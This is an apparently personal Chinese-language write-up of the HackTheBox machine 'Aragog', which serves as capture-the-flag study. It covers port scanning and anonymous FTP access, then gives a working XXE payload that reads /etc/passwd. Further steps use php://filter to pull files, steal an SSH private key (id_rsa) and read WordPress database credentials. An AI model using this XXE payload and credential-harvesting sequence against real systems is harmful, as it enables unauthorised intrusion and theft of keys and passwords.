hackthebox --aragog
主机发现与爆破
nmap -sT --min-rate 10000 10.10.10.78
nmap -sT -sV -sC -O -p22,21,80 10.10.10.78
发现有ftp匿名登陆
└─$ ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
Name (10.10.10.78:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
成功登录
ls查看并下载test.txt文件
发现是一个xml文件
ftp> ls
229 Entering Extended Passive Mode (|||44755|)
150 Here comes the directory listing.
-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
226 Directory send OK.
下载并查看
目录爆破
sudo dirb http://aragog.htb/
并没有发现什么特殊东西
深度挖掘
发现一个php页面,查看页面
发现如此
继续渗透的关键在于能不能想到利用xml格式进行xxe攻击
bp抓包进行并change request method攻击
得知是xxe攻击,写出xxe攻击的基本格式,利用test.txt里面的xml格式进行替换
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>
替换修改关键词
example 前面要加一个自定义的字符用来执行 example设置成system Doe是用来system执行的命令或者输出的文件
改成
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY please SYSTEM "/etc/passwd"> ]>
<details>
<subnet_mask>&please;</subnet_mask>
<test></test>
</details>
tips注意报错点 xml格式定义自定义字符时,需要添加&和分号; 不然会执行失败
根据开放端口ssh并且登录ssh看看是需要密码还是密钥
发现是密钥登陆,那可以对敏感的路径进行爆破显示
利用bp的intruder模块进行爆破 注意输出的时候有由于system是执行显示的命令,对内部文件的php内容需要php://filter/convert.base64.encode/resource=/var/html/www/wp-config等等进行输出
爆破出例如/etc/passwd /etc/crontab /home/florian/.ssh/id_rsa 等敏感文件,发现id_rsa里面保存一个florian的密钥
利用这个进行登录获取ssh的shell
vim florian.ssh 拷贝 wp保存
ssh florian@10.10.10.78
报错
是因为没有给florian.ssh 做一个私密权限 chmod 600 florian.ssh 即可
重新登录 成功
shell权限查看
是一个权限比较低的账号,而且我们不知道他的密码是多少
查看敏感文件
进入到/var/www/html中看有没有其他目录,发现wp目录,查看wp-config配置
找到配置文件的mysql密码和账户登录查看
发现wp_wiki数据库,查看账户密码
得到了一个账号密码,破解就能登陆,但是因为不知道怎么破解
tips:describe table;能够让这个表显示出里面的所有字段名,好让select 出来的东西精确